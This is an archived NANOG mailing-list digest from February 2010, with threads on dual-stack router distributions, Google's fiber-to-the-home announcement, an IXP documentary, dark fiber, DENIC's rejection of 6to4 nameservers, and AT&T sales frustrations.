4:12 PM, Blake Pfankuch wrote: > Anyone have some insight on a good dual stack Linux (or BSD) router distro? ?Currently using IPCop but it lacks ipv6 support. ?I've used SmoothWall Express but not in some time and not sure how well it works with IPv6. ?Not looking for something huge, just something for the equivalent of a small branch office. ?Site to Site VPN support and NAT translation capability for a few public IP addresses to private addresses are the only requirements. ?Public or private responses are welcome! > > Thanks! > Blake Pfankuch > Network Engineer > > Wade Blackwell Sent from Mobile 805-457-8825 X998 cupofcompassion.com Coffee that makes a difference From sikandar.raman at gmail.com Wed Feb 10 18:25:01 2010 From: sikandar.raman at gmail.com (Ramanpreet Singh) Date: Wed, 10 Feb 2010 18:25:01 -0600 Subject: Google to offer fiber to end users In-Reply-To: <4B73176F.5050306@knownelement.com> References: <4B73176F.5050306@knownelement.com> Message-ID: <347265a11002101625s2a69c424t6c6b198ffef799ec@mail.gmail.com> Are they going to use Google routers for the deployment? On Wed, Feb 10, 2010 at 2:30 PM, Charles N Wyble wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > http://www.businessweek.com/news/2010-02-10/google-plans-to-build-high-speed-fiber-optic-networks-update2-.html > http://googleblog.blogspot.com/2010/02/think-big-with-gig-our-experimental.html > > What do folks think? > > Granted it's very early on, and g00g could decide to never leave the > announce phase. > > > > > - -- > Charles N Wyble > Linux Systems Engineer > (818)280-7059 charles at knownelement.com > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAktzF2sACgkQJmrRtQ6zKE91lwCgjdYmEewZtPb2iFM6VZMW5Xce > ydkAoI+ycZQ1JYLoZt7yL04CliGXRLoc > =4eps > -----END PGP SIGNATURE----- > > From mprice at tqhosting.com Wed Feb 10 18:29:34 2010 From: mprice at tqhosting.com (Mark Price) Date: Wed, 10 Feb 2010 19:29:34 -0500 Subject: Linux Router distro's with dual stack capability In-Reply-To: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> Message-ID: <61b6fbec1002101629p5c83f67fu526336a6956026b2@mail.gmail.com> On Wed, Feb 10, 2010 at 7:12 PM, Blake Pfankuch wrote: > Anyone have some insight on a good dual stack Linux (or BSD) router distro? Mikrotik RouterOS. It is based on Linux and a bit more feature-rich than some of the linux router distros I've tried such as IPCop. Licenses costs a few bucks but its worth it IMHO. Regards, Mark From bicknell at ufp.org Wed Feb 10 18:39:00 2010 From: bicknell at ufp.org (Leo Bicknell) Date: Wed, 10 Feb 2010 16:39:00 -0800 Subject: Google to offer fiber to end users In-Reply-To: <4B73176F.5050306@knownelement.com> References: <4B73176F.5050306@knownelement.com> Message-ID: <20100211003900.GA87999@ussenterprise.ufp.org> There are some FTTH deployments in the US, like the well known FIOS to a number of lesser known municipal deployments in small towns. If you want to live in a house that is served in this way, how do you find it. I don't believe there is a "FTTH" field in MLS yet. Would be nice to have a google maps mashup, or similar... -- Leo Bicknell - bicknell at ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From luan at netcraftsmen.net Wed Feb 10 19:02:31 2010 From: luan at netcraftsmen.net (Luan Nguyen) Date: Wed, 10 Feb 2010 20:02:31 -0500 Subject: Google to offer fiber to end users In-Reply-To: <20100211003900.GA87999@ussenterprise.ufp.org> References: <4B73176F.5050306@knownelement.com> <20100211003900.GA87999@ussenterprise.ufp.org> Message-ID: <01b901caaab5$e3cfcf50$ab6f6df0$@net> They don't have a field in the MLS for that, but most people put the description FTTH in. There are quite a few communities with FTTH in the Wash DC metropolitan area that is not FIOS. Openband is one of them serving my house. The 100M fiber comes into a transition network converter and then to a Netgear. I doubt that any house would have FTTR (rooms). --------------------------------- Luan Nguyen Chesapeake NetCraftsmen, LLC. --------------------------------- From darren at bolding.org Wed Feb 10 19:06:13 2010 From: darren at bolding.org (Darren Bolding) Date: Wed, 10 Feb 2010 17:06:13 -0800 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <4A129703-917B-44DE-A846-48BB392D990A@ianai.net> References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> <4A129703-917B-44DE-A846-48BB392D990A@ianai.net> Message-ID: <5a318d411002101706q29bcf76du74595a9ef8137c01@mail.gmail.com> Look, it's a very nice video, and I think it is useful and the creators should be complimented on their work. Overall it is something I would like to use to educate less IP-savvy folk. But, as a hyper-aware viewer I did detect a tone in favor of "network neutrality" type arguments- and I suppose that is OK. One thing I found that didn't match with my recollection is that it depicts IXP's as a response to private peering. My recollection was that while the earliest peering may have been some private peering, rapidly MAE-EAST etc. became points of major traffic sharing and large scale private peering/interconnects were a response to the issues at the various meeting points. Perhaps my recollection is incorrect? And aren't most exchanges today effectively private interconnects across a shared L2 device? On Wed, Feb 10, 2010 at 3:30 PM, Patrick W. Gilmore wrote: > On Feb 10, 2010, at 11:50 AM, Mikael Abrahamsson wrote: > > On Wed, 10 Feb 2010, Patrick W. Gilmore wrote: > > > >> Agree to disagree is right. The film is called "The Internet Revealed: > _A_film_about_IXPs_". You find it strange that the film would actually > focus on IXPs. I find it strange that you couldn't figure this out before > clicking play. > > > > If it would have said "The internet revealed - an advertisement for IXPs" > I might have been expecting the thing I got. > > It's a matter of degree, right? > > > >> However, I do believe you should know how the Internet works. And if > you honestly believe packets in a single stream cannot travel over different > paths, you clearly do not. And before you come back with BS about "normal > operation" or such, realize your statement was far more "factually > incorrect" than what the video said about private interconnects. > > > > I'm saying they don't normally do so, as one might believe when looking > at the movie. Any core router ECMP algorithm that sprays L4 sessions like > that will cause re-ordering which is bad, mkay. > > Yes, flow switching is common, but it is by no means guaranteed. Lots of > people do per-packet across LAG bundles. The Internet topology changes do > not wait until all TCP sessions are complete. Not everyone does flow > switching. Etc. > > Which all means, as I said in my last sentence above, that you are doing > exactly what you accuse them of doing - only worse. Your "facts" are not > facts, the most you can accuse this video of is not explaining things fully. > > I guess the only question left is: What are you advertising? > > > > But I'll shut up after this, I'm obviously not jaded enough like you > other people to just swallow this as "advertisement". I expected a correct > factual way of describing how the Internet works including IXPs, not an IXP > advertisement. My expectations were obviously wrong from the response I'm > seeing. > > I wouldn't call you "jaded" when you do what you accuse others of doing. > > And to be clear, you got "a correct factual way of describing how the > Internet works including IXPs". It may not have been complete, but if you > honestly expected a complete description of the Internet in a film of /any/ > length ... well, words fail me. > > -- > TTFN, > patrick > > > -- -- Darren Bolding -- -- darren at bolding.org -- From aaron+nanog at heyaaron.com Wed Feb 10 19:06:56 2010 From: aaron+nanog at heyaaron.com (Aaron C. de Bruyn) Date: Wed, 10 Feb 2010 17:06:56 -0800 Subject: Linux Router distro's with dual stack capability In-Reply-To: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> Message-ID: <20100211010655.GC32533@chrysalis> On 2010-02-10 at 17:12:28 -0700, Blake Pfankuch wrote: > Anyone have some insight on a good dual stack Linux (or BSD) router distro? Currently using IPCop but it lacks ipv6 support. I've used SmoothWall Express but not in some time and not sure how well it works with IPv6. Not looking for something huge, just something for the equivalent of a small branch office. Site to Site VPN support and NAT translation capability for a few public IP addresses to private addresses are the only requirements. Public or private responses are welcome! I'm not sure if the GUI is a requirement, but I'm a huge fan of Shorewall. It has support for both v4 and v6 along along with the usual router requirements. Since it's just a linux box with a few iptables rules, you can easily load openvpn, ipsec, quagga, etc... It's all text files and a 'shorewall start|stop|check' script. If you want something with a GUI, pfSense is your best bet, or you could use something like fwbuilder to build your iptables rules. -A From mysidia at gmail.com Wed Feb 10 19:08:15 2010 From: mysidia at gmail.com (James Hess) Date: Wed, 10 Feb 2010 19:08:15 -0600 Subject: Google to offer fiber to end users In-Reply-To: References: Message-ID: <6eb799ab1002101708l8fa1bebx392dfb362b1c7564@mail.gmail.com> On Wed, Feb 10, 2010 at 3:00 PM, David Hubbard wrote: > Residential computers with enough bandwidth to DoS > hosting providers; that should be fun. ?Maybe it will Enough to DoS hosting providers based on _current_ practices. If 1g FTTH catches on, hosting providers will probably want 10/100 Gigabit transfer technology in a short time. For now.. with 1gigabit residential connections, BCP 38 OUGHT to be Google's answer. If Google handles that properly, they _should_ make it mandatory that all traffic from residential customers be filtered, in all cases, in order to only forward packets with their legitimately assigned or registry-issued publicly verifiable IP prefix(es) in the IP source field. Must be mandatory even for 'resellers', otherwise there's no point. And Google should provide _reasonable_ response to investigate manual abuse reports to well-publicized points of contact which go directly to a well-staffed dedicated abuse team, with authority and a clear and expeditious resolution process, as a bare minimum, and in addition to any and all automatic measures. P.S. reasonable abuse response is not defined as a 4-day delayed answer to a 'help, no contact addresses will answer me' post on nanog (long after automated processes finally kicked in).. Reasonable response to a continuous 1gigabit flood or 100 kilopacket flood should be less than 12 hours. If they think things through carefully (rather than copy+paste Google groups e-mail abuse management), it'll probably be alright -- -J From eslerj at gmail.com Wed Feb 10 19:46:17 2010 From: eslerj at gmail.com (Joel Esler) Date: Wed, 10 Feb 2010 20:46:17 -0500 Subject: Google to offer fiber to end users In-Reply-To: <01b901caaab5$e3cfcf50$ab6f6df0$@net> References: <4B73176F.5050306@knownelement.com> <20100211003900.GA87999@ussenterprise.ufp.org> <01b901caaab5$e3cfcf50$ab6f6df0$@net> Message-ID: <7CE7A05A-7BB2-442F-9927-5EE4988280D4@gmail.com> I have gig copper ran all over my house. Handy for large file transfers. I have fios as well, and wish it was faster. (yes, all I know is it's a setting, it costs them nothing more) -- Joel Esler 302-223-5974 Sent from my iPhone On Feb 10, 2010, at 8:02 PM, "Luan Nguyen" wrote: > They don't have a field in the MLS for that, but most people put the > description FTTH in. > There are quite a few communities with FTTH in the Wash DC > metropolitan area > that is not FIOS. Openband is one of them serving my house. The > 100M fiber > comes into a transition network converter and then to a Netgear. I > doubt > that any house would have FTTR (rooms). > > --------------------------------- > Luan Nguyen > Chesapeake NetCraftsmen, LLC. > --------------------------------- > > > From randy at psg.com Wed Feb 10 20:20:26 2010 From: randy at psg.com (Randy Bush) Date: Thu, 11 Feb 2010 12:50:26 +1030 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <5a318d411002101706q29bcf76du74595a9ef8137c01@mail.gmail.com> References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> <4A129703-917B-44DE-A846-48BB392D990A@ianai.net> <5a318d411002101706q29bcf76du74595a9ef8137c01@mail.gmail.com> Message-ID: > But, as a hyper-aware viewer I did detect a tone in favor of "network > neutrality" type arguments- and I suppose that is OK. is this a bug or a feature randy From ops.lists at gmail.com Wed Feb 10 20:27:38 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Thu, 11 Feb 2010 07:57:38 +0530 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> <4A129703-917B-44DE-A846-48BB392D990A@ianai.net> <5a318d411002101706q29bcf76du74595a9ef8137c01@mail.gmail.com> Message-ID: On Thu, Feb 11, 2010 at 7:50 AM, Randy Bush wrote: >> But, as a hyper-aware viewer I did detect a tone in favor of "network >> neutrality" type arguments- and I suppose that is OK. > > is this a bug or a feature bug -- Suresh Ramasubramanian (ops.lists at gmail.com) From martin at theicelandguy.com Wed Feb 10 20:29:38 2010 From: martin at theicelandguy.com (Martin Hannigan) Date: Wed, 10 Feb 2010 21:29:38 -0500 Subject: dark fiber In-Reply-To: <4B732E53.8070109@freedomnet.co.nz> References: <4B732E53.8070109@freedomnet.co.nz> Message-ID: FCC filings are rich with this type information. http://www.fcc.gov On 2/10/10, James Jones wrote: > I am doing some research....is there a way to find out where there is > dark fiber and who own's it? > > -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From jmamodio at gmail.com Wed Feb 10 20:39:14 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Wed, 10 Feb 2010 20:39:14 -0600 Subject: Google to offer fiber to end users In-Reply-To: <4B73176F.5050306@knownelement.com> References: <4B73176F.5050306@knownelement.com> Message-ID: <202705b1002101839q128bcc92hd2d1494f5f0a276e@mail.gmail.com> > What do folks think? I think it's a better use of their capital resources than paying big fat bonuses to big fat executives. Sounds like a well funded initiative that may provide an interesting platform to explore new technologies and develop a new array of applications. It would be nice to hear from local folks about how the WiFi experiment in Mountain View worked out. My .02 Jorge From jmamodio at gmail.com Wed Feb 10 21:01:16 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Wed, 10 Feb 2010 21:01:16 -0600 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: Message-ID: <202705b1002101901w5e5e4b34r6399914250ce0fba@mail.gmail.com> Very cool production. For the duration and intended audience it looks like a nice and very clear documentary about how the "net" works. For insiders the last minute may feel borderline with science fiction and advertising but I see no evil. I think it was a great contribution from Euro-IX to relax the copyright. I can go with this video to my daughter's elementary school and the kids will most probably "get it", and they won't give a squat about IP, BGP, ECMP, IXP oranyotherP. Relax, it's just a video Cheers Jorge From ck at sandcastl.es Wed Feb 10 21:42:36 2010 From: ck at sandcastl.es (ck) Date: Wed, 10 Feb 2010 19:42:36 -0800 Subject: Google to offer fiber to end users In-Reply-To: <202705b1002101839q128bcc92hd2d1494f5f0a276e@mail.gmail.com> References: <4B73176F.5050306@knownelement.com> <202705b1002101839q128bcc92hd2d1494f5f0a276e@mail.gmail.com> Message-ID: <8c308e8b1002101942id895eb7n2ea0043a484fecc6@mail.gmail.com> On Wed, Feb 10, 2010 at 6:39 PM, Jorge Amodio wrote: > It would be nice to hear from local folks about how the WiFi > experiment in Mountain View worked out. > i use the mtview wifi almost everyday, and it works great the last metrics i saw were presented by tropos and indicated that about 600gb was transfered daily over the network (and this was sometime last summer iirc) -ck From carloscarnero at gmail.com Wed Feb 10 22:19:07 2010 From: carloscarnero at gmail.com (Carlos A. Carnero Delgado) Date: Wed, 10 Feb 2010 23:19:07 -0500 Subject: Linux Router distro's with dual stack capability In-Reply-To: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> Message-ID: <2cbf87d1002102019w1946c660hccbd0d03d8592eea@mail.gmail.com> Have you checked Vyatta? HTH, Carlos. From bpfankuch at cpgreeley.com Wed Feb 10 23:02:23 2010 From: bpfankuch at cpgreeley.com (Blake Pfankuch) Date: Wed, 10 Feb 2010 22:02:23 -0700 Subject: Linux Router distro's with dual stack capability In-Reply-To: <2cbf87d1002102019w1946c660hccbd0d03d8592eea@mail.gmail.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <2cbf87d1002102019w1946c660hccbd0d03d8592eea@mail.gmail.com> Message-ID: <01759D50DC387C45A018FE1817CE27D7578FFABD7A@CPExchange1.cpgreeley.com> I actually spaced about vyatta when I wrote this email. I have since been forcefully reminded. About 30 times :) In the process of testing it, however my main concern is some of the complexity of the config options. The GUI is a welcome addition since 4, however I still find it a bit lacking. I may go the vyatta route anyway based only on my sheer curiosity and future possible needs. Thank you all for your input! -----Original Message----- From: Carlos A. Carnero Delgado [mailto:carloscarnero at gmail.com] Sent: Wednesday, February 10, 2010 9:19 PM To: Blake Pfankuch Cc: nanog at nanog.org Subject: Re: Linux Router distro's with dual stack capability Have you checked Vyatta? HTH, Carlos. From hrlinneweh at sbcglobal.net Thu Feb 11 00:13:30 2010 From: hrlinneweh at sbcglobal.net (Henry Linneweh) Date: Wed, 10 Feb 2010 22:13:30 -0800 (PST) Subject: Google to offer fiber to end users In-Reply-To: <202705b1002101839q128bcc92hd2d1494f5f0a276e@mail.gmail.com> References: <4B73176F.5050306@knownelement.com> <202705b1002101839q128bcc92hd2d1494f5f0a276e@mail.gmail.com> Message-ID: <11489.55407.qm@web180314.mail.gq1.yahoo.com> This is actually good new's, considering this line of thought began to look promising in 2000, other unmentioned providers have business models not inclusive of this for another 10 years. I think this at least shows American private industry that we are at least attempting to catch up with Europe and China who already have very high speed networks in the most brutal of environments, I think all local governents should apply. -henry ________________________________ From: Jorge Amodio To: Charles N Wyble Cc: Nanog Sent: Wed, February 10, 2010 6:39:14 PM Subject: Re: Google to offer fiber to end users > What do folks think? I think it's a better use of their capital resources than paying big fat bonuses to big fat executives. Sounds like a well funded initiative that may provide an interesting platform to explore new technologies and develop a new array of applications. It would be nice to hear from local folks about how the WiFi experiment in Mountain View worked out. My .02 Jorge From p.vanarkel at gmail.com Thu Feb 11 02:05:22 2010 From: p.vanarkel at gmail.com (Peter van Arkel) Date: Thu, 11 Feb 2010 09:05:22 +0100 Subject: Linux Router distro's with dual stack capability In-Reply-To: <53d706301002101617o69a4a6eatcffa4650c19b9a91@mail.gmail.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <53d706301002101617o69a4a6eatcffa4650c19b9a91@mail.gmail.com> Message-ID: <20100211080522.GF2763@cthulhu.oldones.net> On Wed, 10 Feb 2010, Bryan Irvine wrote: > would pfsense work for you? pfSense has ipv6, since it's essentially just a freebsd kernel with a layer on top. However, ipv6 support in the GUI is fairly minimal to non-existant, and I wouldn't recommend it if you really want to use ipv6. Mind you, I'm a fan of pfSense, it's just too bad it's not ipv6-friendly :) -- Peter van Arkel T: +31 623988844 | p.vanarkel at gmail.com RIPE: PvA63-RIPE | PGP: 0xA0991D6B From nenolod at systeminplace.net Thu Feb 11 02:23:22 2010 From: nenolod at systeminplace.net (William Pitcock) Date: Thu, 11 Feb 2010 02:23:22 -0600 Subject: Linux Router distro's with dual stack capability In-Reply-To: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> Message-ID: <1265876602.17526.1.camel@petrie.dereferenced.org> On Wed, 2010-02-10 at 17:12 -0700, Blake Pfankuch wrote: > Anyone have some insight on a good dual stack Linux (or BSD) router distro? Currently using IPCop but it lacks ipv6 support. I've used SmoothWall Express but not in some time and not sure how well it works with IPv6. Not looking for something huge, just something for the equivalent of a small branch office. Site to Site VPN support and NAT translation capability for a few public IP addresses to private addresses are the only requirements. Public or private responses are welcome! We are having moderate success with IPv6 on Vyatta, but we have seen neighbour discovery glitches in the current production images. The prerelease subscription code crashes on our vyatta appliances, so we haven't tested that yet. William From igor at ergens.org Thu Feb 11 06:26:42 2010 From: igor at ergens.org (Igor Ybema) Date: Thu, 11 Feb 2010 13:26:42 +0100 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) Message-ID: Hi, We are using 6to4 on our fallback site because the provider there is not able to provide us native IPv6 yet. We have also installed a fallback nameserver over there using a 6to4 address. This works good and no complains what so ever in the past. However, last week Denic (registry for .de) changed their policy (or their checks). They don't allow a nameserver for a .de domain anymore which contains a 6to4 address. The policy is "it should be a global unicast AND the block should be assigned to a RIR for suballocation purpose". The 6to4 range is Global Unicast (http://www.iana.org/assignments/ipv6-unicast-address-assignments/) but it is not assigned to a RIR because it is a special block. This fails their policy and their checks (resulting in a ERROR: 105 All IPv6 Addresses must be Global Unicast). Ok, policy is policy and we should not complain. However, I'm asking your opinions about this policy. I find this really stupid because this completely brakes use for 6to4 in Germany and their is no good reason to block it. We know we should push our provider to support native IPv6, and we do. But this should not stop us using IPv6 6to4. regards, Igor Ybema From Ed.Lewis at neustar.biz Thu Feb 11 07:43:36 2010 From: Ed.Lewis at neustar.biz (Edward Lewis) Date: Thu, 11 Feb 2010 08:43:36 -0500 Subject: Policy feedback - was Re: Denic (.de) blocking 6to4 In-Reply-To: References: Message-ID: At 13:26 +0100 2/11/10, Igor Ybema wrote: >Ok, policy is policy and we should not complain. No, really, policies should be examined and questioned. Having been in policy meetings, unless the operations crowd openly questions and gives feed back, the meetings are just wastes of time. >However, I'm asking your opinions about this policy. That's the right first step. (Note: no commentary on 6to4 in this, I'm not familiar enough with it.) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis NeuStar You can leave a voice message at +1-571-434-5468 As with IPv6, the problem with the deployment of frictionless surfaces is that they're not getting traction. From deric.kwok2000 at gmail.com Thu Feb 11 10:13:54 2010 From: deric.kwok2000 at gmail.com (Deric Kwok) Date: Thu, 11 Feb 2010 11:13:54 -0500 Subject: dark fiber In-Reply-To: <4B732E53.8070109@freedomnet.co.nz> References: <4B732E53.8070109@freedomnet.co.nz> Message-ID: <40d8a95a1002110813g7c52c797r7b820c84bf1f6677@mail.gmail.com> Can I have question? What is dark fiber? Thank you On Wed, Feb 10, 2010 at 5:08 PM, James Jones wrote: > I am doing some research....is there a way to find out where there is dark > fiber and who own's it? > > From nick at foobar.org Thu Feb 11 10:15:30 2010 From: nick at foobar.org (Nick Hilliard) Date: Thu, 11 Feb 2010 16:15:30 +0000 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: References: Message-ID: <4B742D22.4030007@foobar.org> On 11/02/2010 12:26, Igor Ybema wrote: > Ok, policy is policy and we should not complain. However, I'm asking > your opinions about this policy. I find this really stupid because > this completely brakes use for 6to4 in Germany and their is no good > reason to block it. Someone once asked Angela Merkel what she liked most about Germany. She replied "Ich denke an dichte Fenster! Kein anderes Land kann so dichte und so sch?ne Fenster bauen" ("I think ... thick windows. No other country can build windows which are as thick or as nice.") This might just be a cultural thing. While lots of countries have a love affair with doing things badly, Germany realises the value of quality infrastructure. 6to4 is ghetto. DE-NIC doesn't like it. Putting a DNS server on a 6to4 address serves no other purpose than to say: "There! I fixed it!" ob-url: http://thereifixedit.com/ Nick From cvuljanic at gmail.com Thu Feb 11 10:17:38 2010 From: cvuljanic at gmail.com (Craig Vuljanic) Date: Thu, 11 Feb 2010 11:17:38 -0500 Subject: dark fiber In-Reply-To: <40d8a95a1002110813g7c52c797r7b820c84bf1f6677@mail.gmail.com> References: <4B732E53.8070109@freedomnet.co.nz> <40d8a95a1002110813g7c52c797r7b820c84bf1f6677@mail.gmail.com> Message-ID: http://en.wikipedia.org/wiki/Dark_fibre On Thu, Feb 11, 2010 at 11:13 AM, Deric Kwok wrote: > Can I have question? > > What is dark fiber? > > Thank you > > > > On Wed, Feb 10, 2010 at 5:08 PM, James Jones > wrote: > > I am doing some research....is there a way to find out where there is > dark > > fiber and who own's it? > > > > > > From jess at corenap.com Thu Feb 11 10:21:26 2010 From: jess at corenap.com (Jess Cohen) Date: Thu, 11 Feb 2010 10:21:26 -0600 Subject: dark fiber In-Reply-To: <40d8a95a1002110813g7c52c797r7b820c84bf1f6677@mail.gmail.com> References: <4B732E53.8070109@freedomnet.co.nz> <40d8a95a1002110813g7c52c797r7b820c84bf1f6677@mail.gmail.com> Message-ID: <8F348D9D79ADA24993FCE45FE44F162401BA31584EF4@exchange01.corp.corenap.com> GOOGLE: Dark fiber is optical fiber infrastructure (cabling and repeaters) that is currently in place but is not being used. Optical fiber conveys information in the form of light pulses so the "dark" means no light pulses are being sent. For example, some electric utilities have installed optical fiber cable where they already have power lines installed in the expectation that they can lease the infrastructure to telephone or cable TV companies or use it to interconnect their own offices. To the extent that these installations are unused, they are described as dark. -----Original Message----- From: Deric Kwok [mailto:deric.kwok2000 at gmail.com] Sent: Thursday, February 11, 2010 10:14 AM To: James Jones Cc: nanog at nanog.org Subject: Re: dark fiber Can I have question? What is dark fiber? Thank you On Wed, Feb 10, 2010 at 5:08 PM, James Jones wrote: > I am doing some research....is there a way to find out where there is dark > fiber and who own's it? > > From steve at pirk.com Thu Feb 11 10:33:38 2010 From: steve at pirk.com (steve pirk [egrep]) Date: Thu, 11 Feb 2010 08:33:38 -0800 Subject: dark fiber In-Reply-To: <8F348D9D79ADA24993FCE45FE44F162401BA31584EF4@exchange01.corp.corenap.com> References: <4B732E53.8070109@freedomnet.co.nz> <40d8a95a1002110813g7c52c797r7b820c84bf1f6677@mail.gmail.com> <8F348D9D79ADA24993FCE45FE44F162401BA31584EF4@exchange01.corp.corenap.com> Message-ID: <940b2d521002110833o15b394d6q4902c90f0144c9e@mail.gmail.com> On Thu, Feb 11, 2010 at 08:21, Jess Cohen wrote: > GOOGLE: Dark fiber is optical fiber infrastructure (cabling and repeaters) > that is currently in place but is not being used. Optical fiber conveys > information in the form of light pulses so the "dark" means no light pulses > are being sent. For example, some electric utilities have installed optical > fiber cable where they already have power lines installed in the expectation > that they can lease the infrastructure to telephone or cable TV companies or > use it to interconnect their own offices. To the extent that these > installations are unused, they are described as dark. > That is better than the link I was going to reference - reason I was going there was the recent announcement of the Google fiber to the community beta test. Are we seeing the beginnings of another move? Android phone OS, Google voice, Nexus One with the ability to make all calls voip... I heard Google made some major concessions [charging tax on internet purchases of the Nexus One] and is still being blocked on the "cannot be a phone company" end. Maybe if you can show you own a certain amount of infrastructure you automatically qualify as a phone company? I have no idea, I just see lots of little pieces coming together right now... --steve -- steve pirk refiamerica.org "father... the sleeper has awakened..." paul atreides - dune kexp.org member august '09 From mrunkel at untangle.com Thu Feb 11 11:57:33 2010 From: mrunkel at untangle.com (Marc A. Runkel) Date: Thu, 11 Feb 2010 09:57:33 -0800 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: <4B742D22.4030007@foobar.org> References: <4B742D22.4030007@foobar.org> Message-ID: On Feb 11, 2010, at 8:15 AM, Nick Hilliard wrote: > On 11/02/2010 12:26, Igor Ybema wrote: >> Ok, policy is policy and we should not complain. However, I'm asking >> your opinions about this policy. I find this really stupid because >> this completely brakes use for 6to4 in Germany and their is no good >> reason to block it. > > Someone once asked Angela Merkel what she liked most about Germany. She > replied "Ich denke an dichte Fenster! Kein anderes Land kann so dichte und > so sch?ne Fenster bauen" > > ("I think ... thick windows. No other country can build windows which are > as thick or as nice.") Actually, the translation is: "I think about airtight windows. No other country can build widows that are this airtight and this beautiful." dicht = airtight, dick = thick. > > This might just be a cultural thing. While lots of countries have a love > affair with doing things badly, Germany realises the value of quality > infrastructure. > > 6to4 is ghetto. DE-NIC doesn't like it. Putting a DNS server on a 6to4 > address serves no other purpose than to say: "There! I fixed it!" > > ob-url: http://thereifixedit.com/ > > Nick > From jack at crepinc.com Thu Feb 11 12:05:43 2010 From: jack at crepinc.com (Jack Carrozzo) Date: Thu, 11 Feb 2010 13:05:43 -0500 Subject: Linux Router distro's with dual stack capability In-Reply-To: <1265876602.17526.1.camel@petrie.dereferenced.org> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> Message-ID: <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> Lots of people roll FreeBSD with Quagga/pf/ipfw for dual stack. See the freebsd-isp list. -Jack Carrozzo On Thu, Feb 11, 2010 at 3:23 AM, William Pitcock wrote: > On Wed, 2010-02-10 at 17:12 -0700, Blake Pfankuch wrote: >> Anyone have some insight on a good dual stack Linux (or BSD) router distro? ?Currently using IPCop but it lacks ipv6 support. ?I've used SmoothWall Express but not in some time and not sure how well it works with IPv6. ?Not looking for something huge, just something for the equivalent of a small branch office. ?Site to Site VPN support and NAT translation capability for a few public IP addresses to private addresses are the only requirements. ?Public or private responses are welcome! > > We are having moderate success with IPv6 on Vyatta, but we have seen > neighbour discovery glitches in the current production images. > > The prerelease subscription code crashes on our vyatta appliances, so we > haven't tested that yet. > > William > > > From mtinka at globaltransit.net Thu Feb 11 12:12:18 2010 From: mtinka at globaltransit.net (Mark Tinka) Date: Fri, 12 Feb 2010 02:12:18 +0800 Subject: AT&T Mind Boggles... Message-ID: <201002120212.19859.mtinka@globaltransit.net> So I send an online request for Wholesale IP Transit to AT&T via their web site, and several days later, I get an e-mail from one of their staff directing me to another link where I should fill up my information (again). Suffice it to say her e-mail to me already included my information, but anyway... So I hit the link, fill in my data, hit "Submit" and bam! "Page not found". I send an e-mail back to the lady who asked me to follow that link and ask her for help on how to proceed. She writes back to say, in many words, "Sorry, that link is the only way you can get your query answered. Oh by the way, here's a toll-free number you can call, it's not the actual department, but they should be able to direct you". Several more e-mails go back and forth arguing why this is such rocket science - meanwhile, I'm thinking, "She is staff, she can put me in touch since it's their web site that's flaky". The final option I was given was to have a friend in the States help me call AT&T on the toll-free number given. I live outside the States, toll-free numbers don't work for me (yes, they are free on Skype, but that's beside the point). The whole experience was robotic and efficient; efficient at me thinking, "There goes my business". AT&T, what gives? Mark. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 836 bytes Desc: This is a digitally signed message part. URL: From jay at west.net Thu Feb 11 12:24:56 2010 From: jay at west.net (Jay Hennigan) Date: Thu, 11 Feb 2010 10:24:56 -0800 Subject: AT&T Mind Boggles... In-Reply-To: <201002120212.19859.mtinka@globaltransit.net> References: <201002120212.19859.mtinka@globaltransit.net> Message-ID: <4B744B78.7020107@west.net> Mark Tinka wrote: > > > AT&T, what gives? > > You need the proper perspective on these things. Rent and watch this classic movie from 1967, then you'll understand. http://www.imdb.com/title/tt0062153/ -- Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net Impulse Internet Service - http://www.impulse.net/ Your local telephone and internet company - 805 884-6323 - WB6RDV From up at 3.am Thu Feb 11 12:53:26 2010 From: up at 3.am (James Smallacombe) Date: Thu, 11 